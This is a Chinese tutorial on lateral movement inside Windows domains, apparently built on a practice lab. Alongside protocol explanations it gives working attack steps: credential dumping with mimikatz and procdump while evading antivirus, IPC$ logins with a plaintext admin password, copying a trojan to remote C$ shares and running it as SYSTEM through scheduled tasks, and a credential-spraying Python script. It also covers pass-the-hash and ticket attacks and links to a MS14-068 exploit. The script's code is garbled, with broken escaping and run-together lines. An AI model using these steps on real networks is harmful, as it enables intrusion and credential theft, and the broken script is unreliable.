手把手教你如何進行內網滲透

0x00 Preface

內網滲透主要是基於前期外圍打點getshell的webserver,通過收集webserver上的信息,然後對其他內網主機進行口令上的攻擊,當然也有一些基於漏洞的攻擊。

內網相關概念這裡不再進行介紹,大傢可以自行百度,諸如什麼是域、域與工作組的區別、什麼是DC、什麼是AD等。當然,概念是生澀難懂的,結合實際環境會有助於理解。某內網靶場的詳細教程:Vulnstack(一)

內網滲透過程中經常會涉及到內網穿透,如何理解內網穿透以及端口轉發、端口映射等相關知識可以參考:如何從零構建對內網穿透的理解

實操部分寫的比較草率,主要是為瞭增強認知、擴展思路、擴充知識面。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。

0x01 信息收集

查看系統詳細信息,如OS版本、補丁安裝情況,可以根據這些信息篩選可利用的漏洞:

systeminfo


查看啟動進程,可以根據啟動進程判斷主機在域中扮演的角色:

net start


查看進程列表:

tasklist


查看端口開放情況:

netstat -ano


判斷是否存在域:

net view /domain


查看主機名、域DNS、IP:

ipconfig /all


查看域內主機:

net view


域內主機以域服務器時間為準,故該命令可用於判斷DC:

net time /domain


查看IP:

nslookup 域名


查看登錄信息:

net config workstation


查看用戶信息:

whoami /all


查看域內用戶,可以將其作為字典,對其他主機的密碼進行爆破:

net user /domain


這個命令在DC上可以直接執行,在其他域主機上執行要求打開DC的RPC服務。

探針域內存活主機:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="


當然也可以借助nmap、masscan等第三方工具或empire、nishang等第三方腳本,但是使用系統命令的最大好處就是不用考慮免殺。

域內其實還有一臺機器STU1,但它開瞭防火墻,所以是禁ping的,這可能也是前面net view時沒有顯示STU1的原因。我們關瞭防火墻再試一遍:

  • 計算機用戶Hash、明文獲取:

    mimikatz:Win;mimipenguin:Linux。

  • 計算機各種協議、服務口令的獲取:

    LaZagne:適用於Windows、Linux、Mac。支持面廣,但功能一般。

    XenArmor:Win,付費。

  • 探測域內存活主機及地址信息:

    自帶的內部命令(.bat)、nmap、masscan、powershell第三方腳本:empire、nishang。

需要註意的是,Mimikatz屬於第三方軟件,直接上傳到目標主機可能被殺毒軟件查殺,這時我們可以配合官方軟件Procdump,將Procdump上傳目標主機獲取用戶信息(該文件不可讀),使用本地的Mimikatz打開Procdump獲取的用戶信息。

mimikatz下載:

https://github.com/gentilkiwi/mimikatz/releases

procdump下載:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

0x02 IPC&SMB&WMI

前面已經說瞭,內網滲透主要是基於口令的攻擊。同一域內的主機不計其數,域用戶不計其數,為瞭便於記憶和管理,域成員的密碼很多都會有重合。當我們拿到某個域成員的密碼,就可以利用它把口子越撕越大,不斷豐富我們的密碼字典,然後不斷地對域內主機進行爆破,直至拿下DC。

Windows提供瞭許多協議和相關功能,我們可以利用這些功能和協議傳遞用戶的憑證進行驗證。

一、SMB 協議

SMB 一種客戶機/服務器、請求/響應協議。通過 SMB 協議,客戶端應用程序可以在各種網絡環境下讀、寫服務器上的文件,以及對服務器程序提出服務請求。此外通過 SMB 協議,應用程序可以訪問遠程服務器端的文件、以及打印機、郵件槽(mailslot)、命名管道(named pipe)等資源。

在 TCP/IP 環境下,客戶機通過 NetBIOS over TCP/IP(或 NetBEUI/TCP 或 SPX/IPX)連接服務器。一旦連接成功,客戶機可發送 SMB
命令到服務器上,從而客戶機能夠訪問共享目錄、打開文件、讀寫文件,以及一切在文件系統上能做的所有事情。

這麼說吧,域內最重要的是啥?一個是為瞭保障安全(內網與外網相隔絕),另一個就是資源共享,畢竟大傢都是一條船上的人。SMB 協議就是用於實現各種資源的共享的,其中就包括IPC連接中的命名管道。

在Windows NT中SMB基於NBT實現。而在Windows2000中,SMB除瞭基於NBT的實現,還有直接通過445端口實現。NBT(NetBIOS over TCP/IP):使用137, 138 (UDP) and 139 (TCP)來實現基於TCP/IP的NETBIOS網際互聯。

我的理解就是,445是139的升級,139實現條件比445更苛刻,但兩者都是為瞭實現SMB協議,因此兩者並不沖突。在WindowsNT中SMB基於NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除瞭基於NBT實現,還可以直接通過445端口實現。

二、IPC

IPC(Inter-Process Communication,進程間通信),進程間通信是指兩個進程的數據之間產生交互。進程間通信主要方式有共享內存、消息隊列、管道等。其中共享內存主要用於同一計算機內進程間通信,消息隊列和管道主要用於分佈式環境(通信進程位於通過網絡連接的不同計算機)。

“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進程間通信(IPC)機制,Microsoft Windows大都提供瞭對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機的不同進程之間或在跨越一個網絡的不同計算機的不同進程之間,支持可靠的、單向或雙向的數據通信。推薦用命名管道作為進程通信方案的一項重要的原因是它們充分利用瞭Windows內建的安全特性(ACL等)。

與TCP/IP(傳輸控制協議或internet協議)一樣,命名管道是一種通訊協議。它一般用於局域網中,因為它要求客戶端必須具有訪問服務器資源的權限(SMB協議)。

在快速局域網 (LAN) 環境中,傳輸控制協議或 Internet 協議 (TCP/IP) 套接字客戶端和 Named Pipes 客戶端在性能方面不相上下。但是網絡速度越慢,TCP/IP 套接字客戶端與 Named Pipes 客戶端的性能差異越明顯。這是因為TCP/IP 套接字的數據傳輸的效率更高,開銷也更少。數據傳輸還可以利用 TCP/IP 套接字性能增強機制的優點,如開窗口、延遲確認等,這在慢速網絡中可能非常有益。而對於命名管道,通常網絡通信交互性更強。一個對等項直到另一個對等項使用讀取命令請求數據時才發送數據。在開始讀取數據前,網絡讀取一般包括一系列窺視命名管道的信息。這在慢速網絡中可能花費非常多並導致過多的網絡流量,其它的網絡客戶端反過來也會受到影響。

使用命名管道的原因一般有兩個方面:

  • 提高速度:假設同樣在局域網中,那麼使用命名管道協議會比TCP/IP協議快一些。
  • 增加安全性:因為命名管道是隻能用於局域網的,那麼如果服務器關閉瞭TCP/IP協議而僅啟用命名管道,就可以避免一些安全隱患。

總結一下,FIFOs是共享”命名管道”的資源,它是為瞭讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。因此,我們可以基於此實現對用戶名和密碼的爆破。需要註意的是,IPC$需要139或445端口的支持。

三、WMI

Windows管理工具(WMI)由一組擴展到的Windows驅動程序模型。WMI允許腳本語言(例如VBScript或Windows PowerShell)來本地或遠程管理Microsoft Windows個人電腦和服務器。

簡單來說,咱們在cmd或者powershell中使用的命令行語言,就是WMI支持的,它提供給我們一個接口如powershell,便於我們管理計算機。

談及遠程管理,延申幾個比較重要的端口,如22、23、135、139、445、3389等。139、445端口我們前面已經討論過瞭,22端口是linux的ssh,23端口是telnet,3389是遠程桌面連接rdp,這些都比較好理解。咱們重點來說一下135端口。

135端口主要用於使用RPC(Remote Procedure Call,遠程過程調用)協議並提供DCOM(分佈式組件對象模型)服務,通過RPC可以保證在一臺計算機上運行的程序可以順利地執行遠程計算機上的代碼;使用DCOM可以通過網絡直接進行通信,能夠包括HTTP協議在內的多種網絡傳輸。

進程間通信(IPC)是在多任務操作系統或聯網的計算機之間運行的程序和進程所用的通信技術。有兩種類型的進程間通信(IPC)。

本地過程調用(LPC):LPC用在多任務操作系統中,使得同時運行的任務能互相會話。這些任務共享內存空間使任務同步和互相發送信息。

遠程過程調用(RPC):RPC類似於LPC,隻是在網上工作。RPC開始是出現在Sun微系統公司和HP公司的運行UNⅨ操作系統的計算機中。

簡單來說,RPC就是用於支持遠程IPC的連接。無論是本地連接還是遠程連接,都要依托於VMI服務進行管理。

四、小結

SMB協議用於實現共享,IPC用於建立連接,不連接怎麼共享?前面已經說瞭,共享是包括命名管道的,而命名管道正是連接方式,因此SMB協議的共享其實是包含IPC的,不僅如此,它還依賴於IPC連接。但是歸根結底,對於連接後的計算機的遠程管理,還是要依托於VMI。

0x03 at&schtasks

at&schtasks用於創建定時任務,其中at=Windows2012。

利用場景:

已拿下內網中一臺主機的權限(webserver),掌握該主機的域用戶名和密碼,知道域內其他用戶名。

利用流程:

1.建立IPC連接到目標主機(明文密碼)

2.copy要執行的命令腳本到目標主機

3.查看目標時間,創建計劃任務(at、schtasks)定時執行copy的腳本

4.刪除IPC連接


查看當前網絡連接:

net use


使用明文密碼hongrisec@2021與192.168.52.143的god\administrator用戶建立遠程IPC連接:

net use \\192.168.52.143\ipc$ "hongrisec@2021" /user:god\administrator


先將惡意文件上傳到外圍打點時拿下權限的webserver上,再通過前面建立的遠程IPC連接將惡意文件從webserver copy到目標主機:

copy C:\Users\liukaifeng01\Desktop\muma.exe \\192.168.52.143\C$



一、at<Windows2012

Windows2012以下版本,添加計時任務:

at \\192.168.52.143 15:30 C:\muma.exe

二、schtasks>=Windows2012

Windows2012及以上版本,創建計時任務對應文件:

schtasks /create /s 192.168.52.143 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\muma.exe /F

運行adduser任務:

schtasks /run /s 192.168.52.143 /tn adduser

刪除adduser任務:

schtasks /delete /s 192.168.52.143 /tn adduser

三、impacket

impacket是一個打包好的工具包,裡面包含瞭對於各種協議和系統命令的利用工具。對於at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進行遠程連接並執行系統命令。

python版impacket下載:

https://github.com/SecureAuthCorp/impacket

exe版impacket下載:

https://gitee.com/RichChigga/impacket-examples-windows

在實戰中,當我們拿下瞭webserver,獲取瞭webserver上的密碼以及所有的域用戶、本地用戶、域內存活主機IP後,我們就可以以用戶為用戶字典、IP為IP字典、密碼為密碼字典,進行批量連接(碰撞),探測哪些主機可以成功連接。一旦成功連接,便意味著我們可以通過計劃任務等方式拿到連接的主機權限。拿到新的主機權限後,我們就可以獲得新的主機密碼,然後豐富自己的密碼字典,再進行批量連接(碰撞)。循環往復,直至拿下DC。

如上圖所示,使用bat腳本隻能遍歷一個變量,如果想要同時遍歷三個變量,可以使用python。例如建立三個列表,使用三個循環進行遍歷,循環生成命令執行語句(string),最後使用python os模塊中的os.system()函數執行系統命令。但需要註意的是,域內主機上很可能沒有python環境,因此我們需要借助python中的pyinstaller模塊,它可以將py腳本打包成可執行文件,直接在windows上運行:

pip install pyinstallerpyinstaller -F app.py
import os,timeips={   '192.168.3.21',   '192.168.3.25',   '192.168.3.29',   '192.168.3.30',   '192.168.3.31',   '192.168.3.33'} users={   'Administrator',   'boss',   'dbadmin',   'fileadmin',   'mack',   'mary',   'vpnadm',   'webadmin'}passs={   'admin',   'admin!@#45',   'Admin12345'} for ip in ips:   for user in users:       for mima in passs:           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user           print('--->'+exec+'<---')           os.system(exec)           time.sleep(1)

0x04 smb&wmi

利用思路不變,變的僅是命令。

psexec是微軟官方pstools中的工具,所以不需要考慮免殺。其中上圖中說到,psexec第二種方法和smbexec無需建立IPC連接,我認為是不合理的。這幾種方法隻是命令不同罷瞭,提供明文賬戶密碼的時候也是要建立IPC連接的,因為這個利用就是基於IPC的共享。

另外需要註意的就是,官方是不支持hash連接的,如果想要使用hash連接(僅能得到hash),可以使用impacket工具包,但是要做好免殺。


我個人認為,前面介紹的幾種方法沒啥區別,都是基於IPC$共享,都需要139/445端口的開啟,初此之外,還離不開135端口,因為135端口時用於支持遠程IPC建立的。IPC$共享的目的是為瞭便於管理員進行遠程操作和管理,但是我們可以利用驗證時的回顯進行密碼爆破。

0x05 pth&ptk&ptt

PTH:pass the hash(LM、NTLM)

PTK:pass the key(AES 256)

PTT:pass the ticket

Windows2012及以上版本默認關閉wdigest,攻擊者無法從內存中獲取明文密碼。Windows2012以下版本如安裝KB2871997補丁,同樣也會導致無法獲取明文密碼。

針對以上情況,我們提供瞭如下解決方案:

1.利用hash傳遞(pth、ptk等)進行移動

2.利用註冊表操作開啟 Wdigest Auth 值進行獲取

3.利用工具或第三方平臺(Hashcat)進行破解獲取

Windows認證采用LM Hash及NTLM Hash加密算法,個人系統在Windows vista後,服務器系統在Windows 2003以後,認證方式均為NTLM Hash。

如果僅得到瞭Hash,既可以嘗試在本機破解,也可以使用前面介紹的impacket。impacket中的工具能傳遞hash並能直接執行系統命令,優點:自帶提權,命令簡潔,功能強大。缺點:非官方工具,容易被殺。

PTH、PTK均可以使用mimikatz進行獲取和攻擊,這裡不再贅述,mimikatz相關使用自行百度。

hash破解工具hashcat下載:https://github.com/hashcat/hashcat


需要註意的是,隻有打瞭補丁(KB2871997)才能使用ptk。

PTT攻擊的部分就不是簡單的NTLM認證瞭,它是利用Kerberos協議進行攻擊的。

Kerberos 協議具體工作方法,在域中,簡要介紹一下:

1.客戶機將明文密碼進行 NTLM 哈希,然後和時間戳一起加密(使用
krbtgt 密碼 hash 作為密鑰),發送給 kdc(域控),kdc 對用戶進行檢
測,成功之後創建 TGT(Ticket-Granting Ticket)

2.將 TGT 進行加密簽名返回給客戶機器,隻有域用戶 krbtgt 才能讀
取 kerberos 中 TGT 數據

3.然後客戶機將 TGT 發送給域控制器 KDC 請求 TGS(票證授權服
務)票證,並且對 TGT 進行檢測

4.檢測成功之後,將目標服務賬戶的 NTLM 以及 TGT 進行加密,將
加密後的結果返回給客戶機。

說白瞭,票據就跟cookie一樣,我們需要獲取新鮮的cookie(未過期,主機登錄後十小時左右過期),然後註入內存當中,通過偽裝混過認證。


這個可以通過漏洞poc或工具進行利用,MS14-068下載:

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

工具kekeo下載:

https://github.com/gentilkiwi/kekeo/releases

0x05 Reference

SQL Server中的命名管道(named pipe)及其使用

進程間通信(IPC):共享內存和消息隊列原理詳解

命名管道 TCP/IP協議 匿名管道

Windows系統安全 | IPC$共享和其他共享(C$、D$、Admin$)